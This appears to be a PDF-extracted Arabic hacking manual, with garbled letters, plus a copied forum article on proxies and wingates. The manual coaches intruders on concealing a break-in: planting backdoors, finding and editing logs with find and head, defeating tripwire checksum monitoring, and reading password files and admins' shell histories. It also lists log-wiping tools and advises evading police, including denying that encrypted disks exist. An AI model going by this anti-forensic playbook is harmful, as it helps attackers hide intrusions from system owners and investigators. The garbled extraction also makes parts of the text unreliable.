‫ امور و اشياء يجب تجنبها و الحظر منها‬‫======================‬ ‫لتقو‪.‬م ابدا بكسر اي باسورد ال على ‪encrypted‬‬ ‫‪ partition‬كما عليك دائما انت تحذر من استخدا‪.‬م‬ ‫اشتراكاتك ) اشتراك الجامعه على سبيل المثال (‬ ‫لنه بمنتهى البساطه يمكن ان يرى ماتفعله مدير‬ ‫الشبكه ‪ admin‬و من ثم سيعرف مالذي تقو‪.‬م به و‬ ‫الملفات التي تستخدمها الخ ‪..‬‬ ‫حاول دائما ان تغيير اسامي البرامج المشبوهه لديك‬ ‫يعني احنا العرب تخصوصا غاويين نسمي اسماء‬ ‫اسامي مخيفه على الفاضي ‪..‬‬ ‫لتفكر في نفسك فقط ‪ ..‬يعني حين ان تستخد‪.‬م بعض‬ ‫الشتراكات او ال ‪ shells‬التي تسمح بالعمل الخلفي‬ ‫‪ background‬لبد ان تعرف انك تبطئ من سرعة‬ ‫السيرفر و بالتالي تلفت النظار !!!‬ ‫حاول ان لتستخد‪.‬م ‪ parametres‬على قدر‬ ‫المستطاع ‪ ...‬على سبيل المثال اذا اردت ان تتصل من‬ ‫الشيل على تيلنت لموقع معين او سيرفر معين لتقو‪.‬م‬ ‫بعمل التي ‪telnet http://www.host.com/ :‬‬ ‫‪ 23‬انما ببساطه اتبع الخطوات البطيئه و هي‬ ‫‪telnet‬‬ ‫‪218‬‬

‫‪open‬‬ ‫‪/http://www.host.com‬‬ ‫و هكذا ‪..‬‬ ‫في حالة انك اتخترقت سيرفر معين من الفضل ان‬ ‫تضع عليه ‪ backdoors‬مخصصه لنظا‪.‬م التشغيل‬ ‫) مش ‪ sub7‬هههههههههه ( و هي كثييره و‬ ‫موهجوده مجانا على النترنت‬ ‫الجزء الرابع ‪ :‬التقنيات الحديثه الي يتي يجب‬ ‫ملحظتها‬ ‫=============================‬ ‫==‬ ‫ تمهيد‬‫*******‬ ‫بعد ان ثبت اول ‪ sniffer‬و تخططت لبدا التختراقات ‪..‬‬ ‫عليك ان تعرف كيف تستخد‪.‬م هذه التقنيات متعبا ما‬ ‫يلي ‪:‬‬ ‫ امنع تقفى اثرك من اي نوع‬‫**********************‬ ‫قد يلحظ الدمين ) مدير الشبكه ( وهجودك كمخترق‬ ‫‪ hacker‬و انك اطحت باحد المواقع لكن هذا ليهم‬ ‫‪ ...‬المهم هو انه كيف سيرصدك و عندها كيف يمكن‬ ‫‪219‬‬

‫ان يتعامل معك !!!‬ ‫لذا ففي هذا الجزء سيتم توضيح كل الحتمالت و‬ ‫الساليب الذي يمكن بها تتبعك و رصدك و ايضا كيف‬ ‫يمكن ان تمنعها ‪...‬‬ ‫* من الطبيعي ) العادي ( ان يسهل على مدير الشكبه‬ ‫) ‪ ( admin‬معرفة النظا‪.‬م الذي كان المخترق عليه‬ ‫عند دتخوله على شبكته و ذلك اما عن طريق ملفات‬ ‫اللوق ) هذا ان كان الهاكر غبي لتركها كما هي ( او‬ ‫من ال ‪ output‬من ال ‪sniffer‬‬ ‫او من اوامر ‪ netstat‬في حالة ان المخترق مازال‬ ‫موهجودا ‪online‬‬ ‫من اهجل هذا تختاج ال ‪!! GateWay Server‬‬ ‫* ‪ A gateway server in between‬هذا‬ ‫واحد من الكثيير من السيرفرات التي يوهجد لك حساب‬ ‫عليها و التي تعتبر في منتهى السخافه في الستخدا‪.‬م‬ ‫و انت تحتاج لن تكون رووت عليها لتستطيع تغيير ال‬ ‫‪wtmp and lastlogs‬‬ ‫كما انه لبد ان من استخدا‪.‬م اكثر من ‪gateway‬‬ ‫‪ server‬و ان تبدل بينهم باستمرار حتى ل يتم‬ ‫الكشف عنك ‪..‬‬ ‫‪220‬‬

‫من الشيل الذي ستخترق منه ‪ ..‬قم بالتصال بال‬ ‫‪ gateway server‬و من ثم تتصل بالسيرفر‬ ‫المراد اتختراقه ‪..‬‬ ‫==< ) تحتاج دائما ل ‪ root access‬لتغيير اللوق‬ ‫(‬ ‫باستخدامك ل ‪ Dialup server‬يجنبك الكثيير من‬ ‫المشاكل ‪ ..‬حيث انك في غنى عن التعديل في ملفات‬ ‫اللوق بشرط ان تدتخل باشتراك مختلف في كل مره‬ ‫تدتخل فيها على ال ‪(= hacked system‬‬ ‫ملحوظه ‪ :‬اذا كنت قادر على التصال بسرفيرات‬ ‫‪ dialup‬كثييره فل حاهجه لن تستخد‪.‬م ‪hacking‬‬ ‫‪ server‬لنه سيتغير اثرك بتغير الشركات المختلفه‬ ‫التي تتصل من تخللها‬ ‫بالنسبه للمتواهجدين في الوليات المتحده المريكيه و‬ ‫اوروبا ) الدول المتقدمه ( حتى و ان قمت بما سبق )‬ ‫‪ ( dialup servers‬يمكنهم تسجيل كل اتصال تم و‬ ‫لديهم ارشيفات منذ سنيين هذا عددها !‬ ‫نتيجه و اتختصار للنقطه السابقه موضحه بالرسم في‬ ‫الصوره التاليه ‪:‬‬ ‫‪221‬‬

‫ ايجاد اي نوع من انواع ملفات اللوق ‪ lOGs‬مهما‬‫كان فيها من تلعب ‪..‬‬ ‫********************************************‬ ‫******‬ ‫***‬ ‫من الها‪.‬م و الضروري هجدا ان تعثر على كل ملفات‬ ‫اللوق حتى المخفي منها ‪ ..‬للحصول و العثور على‬ ‫هذه الملفات يمكن ذلك بهاتين الطريقتين ‪:‬‬ ‫‪ - 1‬اعثر على هجميع الملفات المفتوحه ‪ :‬و يمكنك ذلك‬ ‫باستخدا‪.‬م برنامج ‪ LSOF‬هو اتختصار ‪List Open‬‬ ‫‪ Files‬و من ثم يمكن العثور عليهم و التعديل فيهم‬ ‫‪ - 2‬ابحث عن كل الملفات التي تغيرت ) حدث فيها‬ ‫تغيير ( من بعد دتخولك ‪-‬‬ ‫بعد دتخولك قم بعمل ‪ touch /tmp/check‬و بعدها‬ ‫‪222‬‬

‫قم "‪"find / -newer /tmp/check -print‬‬ ‫العمليه التي سنقو‪.‬م بها ستاذخ الشكل التالي ‪ :‬بحث ‪<-‬‬ ‫نتائج ‪ <-‬مطالعة النتائج ‪ <-‬تعديل‬ ‫قم ايضا بالتشيك على اماكن ال ‪ log files‬العتياديه‬ ‫‪ /usr/adm‬و ‪ /var/adm‬و ‪/var/log‬‬ ‫اذا يتم تسجيل العمليات في ال ‪ loghost‬يعني‬ ‫‪ xx@loghost‬فانت هنا في مازق ‪ ..‬حيث انه لبد‬ ‫من ان تخترق ال ‪ loghost‬لتعدل ملفات اللوق‬ ‫يمكن تعديل اللوق ‪ logfiles‬بعدة طرق ابسطها‬ ‫باستخدا‪.‬م اي محرر كتابه ‪ text editor‬او قم بعد‬ ‫اسطر الملف باستخدا‪.‬م ‪ wc‬و من ثم حذف اتخر ‪10‬‬ ‫اسطر من تخلل ‪head" :‬‬ ‫‪ "-LineNumbersMinus10‬بالعربي ) عدد‬ ‫السطور مطروحا ‪ 10‬منه‪( head -‬‬ ‫اذا كان برنامج ‪ accouting‬مثبت على السيرفر‬ ‫يمكنك ببساطه استخدا‪.‬م ‪acct-cleaner from‬‬ ‫‪ zhart‬و هو هيعمل اللز‪.‬م‬ ‫اذا كان النظا‪.‬م يستخد‪.‬م ‪ wtmpx‬و ‪ utmpx‬ايضا‬ ‫فمع السف عزيز انت في ورطه !!! فانا على اعرف‬ ‫اي برنامج للتعامل في هذه الحاله ‪ ..‬لو استطعت ان‬ ‫تبرمج واحد ) للتخوه المبرمجين ( ل تنسى ان تعلنا‬ ‫‪223‬‬

‫به =(‬ ‫ تحقق من ‪syslog configuration and‬‬‫‪logfile‬‬ ‫************************************‬ ‫تعتمد معظم البرامج على ال ‪syslog function‬‬ ‫لتسجيل اي شئ يريدونه ‪ ..‬فعليك ان تتحقق من‬ ‫تخصائص ال ‪syslog‬‬ ‫فاذا كانت اللوقات ‪ logs‬لتخزن فقط على الجهاز انما‬ ‫على ‪ hosts‬اتخرى ‪ ...‬فيؤسفني انك لبد من اتختراق‬ ‫هذه ‪hosts‬‬ ‫ملف ال ‪ syslog‬موهجود في ‪/etc/syslog.conf‬‬ ‫ تحقق من نوعيات برامج المن المثبته‬‫******************************‬ ‫توهجد العديد من برامج الفحص المني غالبا على‬ ‫المواقع ذات الحس المني العالي‪ .‬وتدار هذة البرامج‬ ‫بواسطه أداه تسمى ‪ cron‬و يكون مكانها الفتراضي‬ ‫أو الطبيعي هو ‪ /var/spool/cron/crontabs‬و‬ ‫هي تقو‪.‬م بمتابعه هجميع المدتخلت ‪ .‬تخاصه الـ ‪Root‬‬ ‫و الملفات التي يستعملها‪ .‬للتحقق اللسريع من‬ ‫الموضوع نستخد‪.‬م المر التالي‬ ‫‪224‬‬

‫"‪."crontab -l root‬‬ ‫غالبا ماتكون هذه الدوات محمله و عامله على حساب‬ ‫المدير‪ .‬و يكون بعضها في مجلد الـ ‪ ~/bin‬الخاص‬ ‫به‪ .‬كما يمكن ان يكون هناك ‪ sinnefer‬موضوع‬ ‫لغراض امنيه في نفس المكان‪.‬‬ ‫من الدوات الت تستعمل في مثل هذه الفحوصات‬ ‫الداتخليه‬ ‫‪,tiger, cops, spi, tripwire, l5‬‬ ‫‪.binaudit, hobgoblin, s3 etc‬‬ ‫ينبغي على المقتحم أن يتأكد من وهجود هذه الدوات و‬ ‫التأكد من التقارير التي ترسلها ‪ ,‬للتأكد من أنها ل‬ ‫تكشف عمليه القتحا‪.‬م‬ ‫يمكنك تعديل مفات هذه البرامج للتأكد من أنها لن تقو‪.‬م‬ ‫بالبلغ عن القتحا‪.‬م‪ ,‬و يمكن تنفيذ ذلك بطريقتين‪:‬‬ ‫ قم بتعديل البرنامج برمجيا لكي ل يقو‪.‬م بالبلغ عنك‬‫)واسعه شويه دي( أو قم بأزالته و أستعمل برنامجا‬ ‫مزيفا‬ ‫ قد تضطر إلى أزاله الـ ‪ back door‬الذي‬‫أستعملته و محاوله تحميله بطريقه أتخرى‬ ‫ تحقق من وهجود المدراء ‪Admins‬‬‫****************************‬ ‫من المهم أن تجد هجميع المدراء على الموقع‪ ,‬و تحاول‬ ‫‪225‬‬

‫معرفه الحسابات العاديه التي يتم أستخدامها‪.‬‬ ‫توهجد عده طرق لكشف هذه المعلومات‪:‬‬ ‫ قم بفحص الملف ‪ forword.‬و مدتخلت الـ ‪alias‬‬‫أفحص ملف الـ ‪ sulog‬و حدد المستخدمين الذين‬‫نجحو في تنفيذ المر ‪ su root‬بنجا ح‬ ‫ أسحب ملف الـ ‪ group‬و أبحث عن هجميع‬‫المجموعات التي لها علقه بالداره ) ‪admin,‬‬ ‫‪root, wheel, etc‬‬ ‫أسحب ملف ‪ passwd‬بالنسبه للمدير لعرض كلمات‬‫سر المدراء‬ ‫يعد كل هذا ‪ ,‬يمكنك معرفه كل المدراء على الموقع‪.‬‬ ‫أدتخل إلى مجلداتهم الخاصه ) في حاله عد‪.‬م أستطاعتك‬ ‫‪ ,‬أستخد‪.‬م أحدى الدوات التاليه ‪chid.c,‬‬ ‫‪ changeid.c‬لنتحال شخصيه المستخد‪.‬م( ‪ .‬و‬ ‫أفحص الملفات التاليه‬ ‫‪history/.sh_history/.bash_history‬‬ ‫لمعرفه الوامر التي يستعملونها عادة‪ ,‬قد يفيدك هذا‬ ‫في معرفه دور المدير على الموقع‪ ,‬أو أكتشاف‬ ‫معلومات مخفيه‪ .‬قم بفحص ملفات ‪.‬‬ ‫‪ profile/.login/.bash_profile‬لمراهجعه‬ ‫أعدادات الـ ‪ alias‬التي تستخد‪.‬م‪ ,‬و إذا ماكانت أدوات‬ ‫‪226‬‬

‫أمنيه تخفيه مستخدمه‪ .‬و من الطبيعي طبعا أن تقو‪.‬م‬ ‫بفحص كافه الملفات و المجلدات ‪ ,‬تخاصه المخفيه منها‬ ‫قد تجد بعض الشياء المفيده حقا‬

‫‪checksum checking software‬‬ ‫************************‬ ‫برامج ‪ ) checksum‬هو قيمة رقمية ُتستعمل للتأكد‬ ‫من تخلو البيانات من التخطاء‪ .‬هذه القيمة ُتحسب من‬ ‫تخلل عملية كشف الجمع(‬ ‫بعض المدراء ويقمون باستعمال برامج للتحقق من‬ ‫حدوث اي تغييرات في الملفات‪ ،‬وفي حالة حدوث اي‬ ‫تغير‪ ،‬يقو‪.‬م بفحص الملفات ويستطيع اكتشافها‬ ‫فكيف تعرف مااذا استخدمت هناك برامج التحقق واي‬ ‫النواع استخدمت؟ واذاعرفت فكيف تعدلها بحيث تخد‪.‬م‬ ‫من اهجلك ؟‬ ‫هناك انواع عديدة من برامج التحقق ومن السهل كتابة‬ ‫واحدة منها بنفسك ولكن من الصعب اكتشاف ما اذا‬ ‫استخدمت مثل تلك البرامج علي الملفات للحماية‬ ‫هذه اسماء بعض البرامج التي تقو‪.‬م ب عملية فحص‬ ‫‪checksum‬‬ ‫‪227‬‬

‫‪SOFTWARE : STANDARD PATH :‬‬ ‫‪BINARY FILENAMES‬‬ ‫‪tripwire : /usr/adm/tcheck,‬‬ ‫‪/usr/local/adm/tcheck : databases,‬‬ ‫‪tripwire‬‬ ‫‪binaudit : /usr/local/adm/audit :‬‬ ‫‪auditscan‬‬ ‫‪hobgoblin : ~user/bin : hobgoblin‬‬ ‫‪raudit : ~user/bin : raudit.pl‬‬ ‫‪l5 : compile directory : l5‬‬ ‫كما تري هناك احتمالت كثيرة‪ ،‬ربما البرنامج نفسه او‬ ‫قواعد البيانات يوهجد علي هجزء آتخر‪ ،‬مثل هجزء‬ ‫‪ NTFS‬لمضيف او هجهاز آتخر ‪ ،‬او حتي قواعد بيانات‬ ‫التي تحمل معلومات ‪ checksum‬في هجهاز محمي‬ ‫علي الكتابة ) اقراص ‪ CD‬مثل ( ‪...‬‬ ‫ولكن يمكنك القيا‪.‬م بعملية فحص استطلعي سريع‬ ‫لمعرفة البرامج المستخدمة ‪ ،‬واذا لم تستخد‪.‬م‬ ‫ففرصتك‪ ،‬واذا لم تجد شي ولكنك كنت متاكدا من‬ ‫استخدامهم لتلك النواع من البرامج هذا يعني ان‬ ‫الموقع او المزود محمي بشكل هجيدا ) هارد لك (‬ ‫ويجب ان ل تعبث بالملفات ابدا ‪..‬‬ ‫‪228‬‬

‫ولكن ماالعمل اذا اكتشفت انهم يستخدمون تلك البرامج‬ ‫وبامكانك تغييرها؟؟‬ ‫يمكنك ‪ - 1‬ايها‪.‬م تلك البرنامج بطرق شرعي بانه تم‬ ‫تغيير ملف ما بشكل قانوني ويتم تحديث قواعد‬ ‫البيانات مثل "‪tripwire -update‬‬ ‫‪."/bin/target‬‬ ‫‪ - 2‬يمكنك تغيير قائمة الملفات التي يجب فحصها‬ ‫وتزيل اسم الملفات المراد من القائمة فل يتم فحصها‬ ‫مرة اتخري للتحقق ) ولكن يجب ان تتاكد ايضا ان ملف‬ ‫قواعد البيانات نفسها ل يتم فحصها ب ‪checksum‬‬ ‫حتي ل يتم اكتشاف التغييرات التي قمت بها (‬

‫ حيل المستخد‪.‬م المنيه‬‫*******************‬ ‫هذه الحيل ما ندر توهجد او تستخد‪.‬م لكنني كتبتها فقط‬ ‫لكون شملت كل شئ ) لكمال الموضوع ( ‪ ..‬فبعض‬ ‫المستخدمين يسمون اشتراكاتهم ‪ admins‬و بالطبع‬ ‫ل يريدون ان يعبث في ملفاتهم اي شخص فيقومون‬ ‫بعمل بعض الحيل في ملفات ال ‪ startup‬لذا فدائما‬ ‫‪229‬‬

‫تحقق من ‪profile, .cshrc, .login, .logout.‬‬ ‫الخ ) اي الملفات التي تبدا بنقطه (‬

‫الجزء الخامس ‪:‬‬ ‫=========‬ ‫ماذا تفعل ان وضعت تحت المراقبه؟‬ ‫***************************‬ ‫متى اصحبت تحت الميكروسكوب ) المراقبه ( من قبل‬ ‫الشرطه او حتى ال ‪ administrators‬عليك القيا‪.‬م‬ ‫بخطوات هامه و سريعه حتى ليستطيعو المساك‬ ‫بدليل ) برهان ( عليك‬ ‫ ملحوظه ‪ :‬ان كان في اعتقاد ال‬‫‪ administrators‬انك ‪ hacker‬فانت ==<‬ ‫مذنب حتى تثبت براته ‪...‬‬ ‫ليعني القانون اي شئ لل ‪ ) admins‬بعض الوقات‬ ‫اعتقد انه ل يوهجد فرق بين ال ‪ hacker‬و ال‬ ‫‪ administrator‬ال بان مالك الكومبيوتر هو ال‬ ‫‪ administrator‬فقط ( عندما يعتقدون انك هاكر‬ ‫فانك فورا اصبحت مذنب ‪ ..‬سيقومو مباشرة بمراقبة‬ ‫‪230‬‬

‫بريدك اللكتروني و ملفاتك و ان كان محترف الدمين‬ ‫سيرصدك ايضا هجماتك التخرى ‪..‬‬ ‫اذا كان يمكنهم مراقبة كل هذه التصالت اكيد ببساطه‬ ‫يمكنهم مراقبة تخط تيليفونك ‪..‬‬ ‫لذا فعليك عد‪.‬م القيا‪.‬م باي اتصالت فيها اتخبار اتخترقاتك‬ ‫‪ ..‬و ان حتى اردت ان تحذر اصحابك فل تخبرهم‬ ‫هاتفيا او ببريد الكتروني ) ال اذا كان مشفرا( و من‬ ‫الفضل ان تخبرهم عندما تقابلهم وهجها لوهجه ‪ ..‬و‬ ‫تمنعهم من راسال اي رسائل غيير عاديه ‪..‬‬ ‫لتؤمن نفسك عليك ان تبقى على هذا الحال على القل‬ ‫من شهر الى شهرين ‪ ..‬و ال ستواهجه مشاكل اعتقد‬ ‫انك لترغب بها‬ ‫الجزء السادس ‪:‬‬ ‫=========‬ ‫ما الذي عليك القيا‪.‬م به و ايضا الذي لبد من عد‪.‬م‬ ‫القيا‪.‬م به في حالة انه تم القبض عليك‪:‬‬ ‫********************************************‬ ‫******‬ ‫**************‬ ‫اول ‪ :‬اطلب محاميك فورا !!!! ‪ :‬ل تحاول بان تتذكى‬ ‫‪231‬‬

‫انت و ترد على التحقيق بمفردك ‪ ..‬فاطلب محاميك كي‬ ‫يدافع عنك هو و يطلعك على ما يجب ان تذكره و ما‬ ‫يجب ان ل تذكره نهائيا ‪ ..‬بعدها غالبا ما سيطلب‬ ‫المحامي هجهازك ) الكومبيوتر ( باقصى سرعه بحجة‬ ‫احتياهجه في العمل و ال عليهم تحميل هجميع العباء‬ ‫الماديه و المشاكل التي قد تحدث عن عدك استخدا‪.‬م‬ ‫الجهاز ‪ ..‬لذا فانه من العملي هجدا ان يكون عندك‬ ‫محامي هجاهز في اي وقت قبل ان تقع الفاس في‬ ‫الراس و بعدها تبدا في البحث و التدوير‬ ‫ثانيا ‪ :‬ابدا ل تتكلم ال الشرطه !!! ‪ :‬لتعطي للشرطه‬ ‫اي معلومات عنك او عن زملئك بحجة ان هذا‬ ‫سيخفف العقاب عنك و سيخرهجك من المازق ‪ ..‬لن‬ ‫هذا لن يفيدك بل سيدينك اكثر ‪ ..‬و ان كان يجب‬ ‫استجوابك فاطلب ان يتم هذا فقط من تخلل محاميك‬ ‫) و هذا ايضا حق من حقوقك (‬ ‫لتخبر ابدا عن اصدقاؤك ليس ققط كنوع من الشهامه‬ ‫‪ ..‬انما ايضا بدتخول اصحابك في الموضوع ستتسع‬ ‫دائرة الموضوع و من ثم تزيد المعلومات عنك و عن‬ ‫هجرائمك و هم ايضا !‬ ‫بعض الدول من ضمن قانونها انه اذا لم تستطع‬ ‫الشرطه فك تشفير ملفاتك او هجزء من الهارد ديسك‬ ‫فيمكنك بمنتهى الحريه عد‪.‬م الفصا ح عنها‬ ‫‪232‬‬

‫لكن بعض الدول التخرى في قانونها انه مادامت وقعت‬ ‫في المصيده لبد ان تدلي لهم بكل شئ في هذه الحاله‬ ‫انصحك باستشارة محاميك و انكار انك لديك اي‬ ‫اقراص صلبه مشفره‬ : ‫الجزء السابع‬ ======== : ‫قائمه بافضل البرامج للتخفي و التختباء‬ ****************************** Change - Changes fields of the logfile to anything you want Delete - Deletes, cuts out the entries you want Edit - real Editor for the logfile Overwrite - just Overwrites the .entries with zero-value bytes Don't use such software (f.e. zap) !it can be detected -------------------------------------------------------------LOG MODIFIER ++++++++++ 233

ah-1_0b.tar Changes the entries of accounting information clear.c Deletes entries in utmp, wtmp, lastlog and wtmpx cloak2.c Changes the entries in utmp, wtmp and lastlog invisible.c Overwrites utmp, wtmp and lastlog with predefines values, so it's better than zap. Watch out, there ! are numerous inv*.c marryv11.c Edit utmp, wtmp, lastlog !and accounting data - best wzap.c Deletes entries in wtmp wtmped.c Deletes entries in wtmp zap.c Overwrites utmp, wtmp, !lastlog - Don't use! Can be detected ------------------------------------------------------------------------------------: ‫الجزء الثامن‬ ========= 234

‫كلمه تختاميه‬ ‫**********‬ ‫لتدعهم ابدا يقبضون عليك ‪ ..‬دائما اهجعل عيناك‬ ‫مفتوحان ‪ ..‬اعرف في من تثق و من ل !!‬ ‫لتفكر في نفسك فقط )انما ايضا تذكر كل من حولك (‬ ‫تمنياتي للجميع بحياة ممتعه و امنه ‪..‬‬ ‫انتهى‪،،،‬‬

‫‪235‬‬

‫" كيف تبقى مجهول الهوية في النت‬ ‫)الجزء الول(؟؟ "‬ ‫>منقول من منتدى إعصار<‬ ‫>الكاتب‪ :‬المدمر<‬ ‫في هذا الموضوع سوف أقو‪.‬م بتعليمكم‬ ‫ماهو؟‬ ‫‪Proxy - Sock Host - Wingate‬‬ ‫)وكيفية استخدامهم للزيادة من صعوبة الكشف عن‬‫هويتك في النت(‪-‬‬ ‫مع أدوات بسيطة أيضا تساعدك في التخفي‬ ‫‪+++++++++++++++++++++++++++++‬‬ ‫‪+++++‬‬ ‫‪236‬‬

‫‪Introduction to Proxy Server‬‬ ‫=)الدتخول إلى ‪ proxy server‬أي‪:‬تخاد‪.‬م الوكيل(=‬ ‫‪) proxy server‬تخاد‪.‬م الوكيل( هو تخاد‪.‬م ‪server‬‬ ‫ليقو‪.‬م أحدا ما بتنزيله على نظامه للتصال مع المواقع‬ ‫أو أي هجهاز على النترنت مايفعله أول هو التصال‬ ‫بخاد‪.‬م الوكيل ‪proxy server‬‬ ‫لكنه غير إهجباري لكن غالبا مايستخد‪.‬م في الشبكات‬ ‫مثل‪LAN:‬‬ ‫‪Local Area Network‬‬ ‫شبكة إنترنت محلية عند اتصالك بالنترنت تخلل‬ ‫‪ proxy server‬هجميع اتصالتك سوف تذهب إلى‬ ‫هذا البروكسي المستخد‪.‬م أول وقبل كل شيء ثم تتوزع‬ ‫على الهجهزة التي تريد أن تعمل إتصال بها كمثال‬ ‫إذا أردت أن تتصل بالنترنت من تخلل استخدا‪.‬م‬ ‫‪ proxy server‬وتريد أن تتصفح وتفتح موقعا‬ ‫كهذا‬ ‫‪/http://hackergurus.tk‬‬ ‫عليك أول بالطلب من هذا ‪ proxy server‬ثم يقو‪.‬م‬ ‫‪ proxy server‬بطلب الصفحة‬ ‫‪/http://hackergurus.tk‬‬ ‫إلى الخاد‪.‬م ‪ server‬الموقع ومن ثم تحميلها وتخزينها‬ ‫‪237‬‬

‫في حسابها بعد ذلك سوف تمدك وتعطيك الصفحة‬ ‫أي‪:‬تستعرضها‪...‬‬ ‫أليست هذه العملية تأتخذ ‪ bit‬بسيط في وقت أطول‬ ‫مقارنة بالتصال المباشر )العادي( الذي يكلفك فقط‬ ‫بطلب الصفحة من تخاد‪.‬م الموقع ومن ثم هجاري تحميلها‬ ‫بسهولة واستعراضها‬ ‫لكن مع استعمالك للبروكسي سيرفر سوف يصبح‬ ‫اتصالك بالنترنت بطيء مقارنة مع التصال المباشر‬ ‫وذلك لن كل صفحة تقو‪.‬م بتحميلها أي تستعرضها‬ ‫تذهب إلى تخاد‪.‬م البروكسي أي ‪proxey server‬‬ ‫وهذا يثقل عملية التصفح‬ ‫وهناك حالة وحدة وقد تصبح ‪ lucky‬بعض الحيان‬ ‫قل كيف‬ ‫إذا الشخص قا‪.‬م باستخدا‪.‬م نفس البروكسي واستعرض‬ ‫نفس الصفحات وانت استخدمت البروكسي الي‬ ‫استخدمه هذا الشخص واستعرضت الصفحة الي‬ ‫استعرضها را ح يصبح البروكسي سريع ليه؟!‬ ‫لن الشخص الول الي قا‪.‬م باستخدا‪.‬م البروكسي‬ ‫وعرض الصفحات الصفحة حملت إلى ‪proxy‬‬ ‫‪ server‬فما بالك إذا كان لديك نفس البروكسي‬ ‫وحبيت تسعرض نفس الصفحة سوف يكون سريع لن‬ ‫الصفحة ‪ download‬هجاهزة فهمت ‪#..‬‬ ‫‪238‬‬

‫وأيضا ياأتخواني الوقت مهم مثل اذا الواحد استعرض‬ ‫صفحة ببروكسي من قبل ‪ 10‬أيا‪.‬م وانت استخدمت‬ ‫نفس البروكسي واسعرضت نفس الصفحة غير اذا‬ ‫عرضها في يومين لن ‪ proxy server‬يقد‪.‬م‬ ‫المواقع الحديثة على القديمة علشان كذا أحيانا تلحظ‬ ‫تأتخر في البروكسيات كل ماعليك عمل ‪ Refresh‬أو‬ ‫‪Reload‬‬ ‫‪Why use a Proxy Server‬‬ ‫=)لماذا نستمعل البروكسي سيرفر؟(=‬ ‫وانا را ح اهجاوب على التخوان الي يسئلوني مادا‪.‬م تخاد‪.‬م‬ ‫البروكسي يقو‪.‬م بعملية إبطاء التحميل والتقليل من‬ ‫السرعة إذا مالدافع لستخدامه ؟!!!‬ ‫الجواب‪:‬هو أن مزودين تخدمة النترنت‬ ‫‪ISP‬‬ ‫‪Internet Service Provider‬‬ ‫يقومون بالتحديد وبوضعك في قفص وهو عد‪.‬م السما ح‬ ‫لستعراض وتحميل الصفحات إل التي تم الموافقة‬ ‫عليها من قبل مزود الخدمة ويقومون بتقليل المواقع‬ ‫للحفاظ على ‪ Traffic‬الخاص بهم لتوفير السرعة في‬ ‫استخدا‪.‬م البروكسي لمشتركينهم‬ ‫أما ‪ proxy server‬سوف يجعل لك الحرية الكاملة‬ ‫‪239‬‬

‫في استعراض أي موقع مهما كان وسبب آتخر‬ ‫للبروكسي وهو للحفاظ أو للزيادة من بقائك مجهول‬ ‫أثناء قيامك بأي عملية من عمليات التصال يعني لو‬ ‫استخدمت بروكسي را ح يصعب على تخاد‪.‬م الموقع‬ ‫اصطيادك وذلك لنه يأتخذ ‪ ip‬الذي اتصل الموقع من‬ ‫تخلله وهو ‪ ip‬البروكسي وهو الذي يتصل مع تخاد‪.‬م‬ ‫الموقع‬ ‫وأيضا تستطيع الزيادة من صعوبة محاولة السقاط بك‬ ‫وذلك باستخدا‪.‬م عدة بروكسيات ذات منافذ مختلفة لكن‬ ‫أعلم أن هذا سوف يقو‪.‬م بتقليل من سرعة التصال‬ ‫لذلك حاول ان تستخد‪.‬م‬ ‫‪ proxy‬و ‪ port‬قريبين إلى منطقتك التي تعيش فيها‬ ‫حتى يكون ‪ proxy server‬قريب وبذلك سوف‬ ‫تزداد السرعة وأحيانا تفوق سرعة البروكسي سرعة‬ ‫بروكسي الخاص بمزود الخدمة مارأيك!! ‪(..‬‬ ‫تحذير للجميع إياكم ياأتخوان أن تنخدعوا ببروكسيات‬ ‫مايكروسوفت مهما وضع لها من إعلن كأن يقول‬ ‫استخد‪.‬م‬ ‫‪ cach.microsoft.com‬بمنفذ ‪80‬‬ ‫وطبعا انت ماتصدق تلقي بروكسي بهذي المميزات‬ ‫‪ -1‬سريع التصفح‬ ‫‪ -2‬يفتح هجميع المواقع‬ ‫‪240‬‬

‫‪ -3‬التحميل عالي هجدا وقوي‬ ‫هل تعرف لماذا ؟‬ ‫لن أكثر المستخدمين حول العالم هذا البروكسي‬ ‫سيرفر وهذا تخطير هجدا‬ ‫لن هذا البروكسي سيرفر سوف يقو‪.‬م بمعرفة هجميع‬ ‫تحركاتك وحفظها في ملفات ‪Logs‬‬ ‫‪Introduction to Wingate‬‬ ‫=)الدتخول أو الدتخال إلى ‪=(Wingate‬‬ ‫كثيرا مانسمع عنه لكن هل نعرف معناه الحقيقي ؟‬ ‫ماهو ‪ WinGate‬؟‬ ‫هو ‪ proxy server firewall‬أي يفوق‬ ‫البروكسي وهو تخاد‪.‬م بروكسي ذو حاهجز ناري يحتوي‬ ‫على حزمة كبيرة وضخمة من البرامج المختصة‬ ‫بالحماية والتي تبقيك ‪) Anonymously‬مجهول‬ ‫الهوية(‬ ‫التي تقو‪.‬م بالسما ح بالمشاركة بفرد واحد أو بعدة من‬ ‫اتصالت النترنت بشركة كمبيوتر بالكامل‬ ‫اتصال النترنت يكون مشارك بواسطة ‪WinGate‬‬ ‫تقريبا لعدة أنواع تشمل‪:‬‬ ‫‪--------------------------------------------------‬‬‫‪---------------------------------------‬‬‫‪241‬‬

‫‪dial up modem, ISDN, xDSL, cable‬‬ ‫‪modem, satellite connection, or‬‬ ‫‪even dedicated T1 circuits‬‬ ‫‪--------------------------------------------------‬‬‫‪---------------------------------------‬‬‫‪wingate‬‬ ‫متشابه مع البروكسي سيرفر حيث يعمل اتصالت مع‬ ‫كومبيوتر لسيرفر آتخر تخلل المنفذ ‪ , 23‬في الحقيقة‬ ‫هو اتصال ‪. Telnet‬‬ ‫‪ the wingate‬سوف يجعل أي شخص على الشبكة‬ ‫دتخول النترنت أو التصال به لمواقع أتخرى ‪ .‬بصورة‬ ‫سيئة وفق بين ‪ wingate‬وعد‪.‬م كفاءة‬ ‫‪) Aminstrator‬المدير(‬ ‫وهنالك العديد من ‪ wingate‬والذي تجعل الشخاص‬ ‫على النترنت للتصال ببعضهم ‪ ,‬بدل من تحديد‬ ‫المدتخل للناس من ‪) Local Network‬الشبكة‬ ‫المحلية(‬ ‫وفتح الطريق لي شيئ من ‪ ipspoof‬في ‪ICQ -‬‬ ‫‪ Mirc‬إلى سوء استغلل الحجم ‪.‬‬ ‫مثل ‪ wingate‬قد يطلق عليه ‪open wingates‬‬ ‫وعادة تنتهي مدتها في بضعة أيا‪.‬م أو شهور حتى يقو‪.‬م‬ ‫باكتشافه ‪) Admin‬المدير( وهذا را ح يكون‬ ‫‪242‬‬

